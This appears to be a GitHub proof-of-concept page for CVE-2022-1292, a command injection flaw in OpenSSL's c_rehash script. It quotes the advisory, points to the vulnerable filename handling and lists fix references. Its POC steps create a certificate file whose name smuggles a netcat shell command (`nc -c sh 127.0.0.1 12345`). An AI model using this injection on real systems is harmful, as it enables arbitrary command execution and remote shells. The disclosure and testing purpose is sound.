CVE-2022-1292 PoC — The c_rehash script allows command injection

Source

https://github.com/alcaparra/CVE-2022-1292

Associated Vulnerability

Title:The c_rehash script allows command injection (CVE-2022-1292)
Description:The c_rehash script does not properly sanitise shell metacharacters to prevent command injection. This script is distributed by some operating systems in a manner where it is automatically executed. On such operating systems, an attacker could execute arbitrary commands with the privileges of the script. Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool. Fixed in OpenSSL 3.0.3 (Affected 3.0.0,3.0.1,3.0.2). Fixed in OpenSSL 1.1.1o (Affected 1.1.1-1.1.1n). Fixed in OpenSSL 1.0.2ze (Affected 1.0.2-1.0.2zd).

Description

CVE-2022-1292 OpenSSL c_rehash Vulnerability - POC

Readme

# CVE-2022-1292 POC
![POC Screenshot](https://user-images.githubusercontent.com/105424007/171022147-b7699d2b-7dd3-4b49-9e52-767e36d1d3a2.png)

## Description
```
The c_rehash script does not properly sanitise shell metacharacters to prevent command injection. 
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.

This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.
```
Command injection ocurrs because filenames are not properly sanitized:
*  ```$fname =~ s/'/'\\''/g;```
*  ```my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;```

This part of the script is vulerable, as closing the backticks allows for command execution, for example a file named: ``` MyCert.crt`whoami` ``` will run "whoami".

## POC
1. Navigate to ``/etc/ssl/certs/`` (default) or other paths configured in update-ca-certificates
2. ```echo "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`"``` *(nc as payload example)*
3. Then wait until execution of update-ca-certificates. You can trigger it manually with ``c_rehash .``

## References
* https://www.cvedetails.com/cve/CVE-2022-1292/
* https://www.debian.org/security/2022/dsa-5139
* https://lists.debian.org/debian-lts-announce/2022/05/msg00019.html
* https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=1ad73b4d27bd8c1b369a3cd453681d3a4f1bb9b2
* https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=e5fd1728ef4c7a5bf7c7a7163ca60370460a6e23
* https://www.openssl.org/news/secadv/20220503.txt

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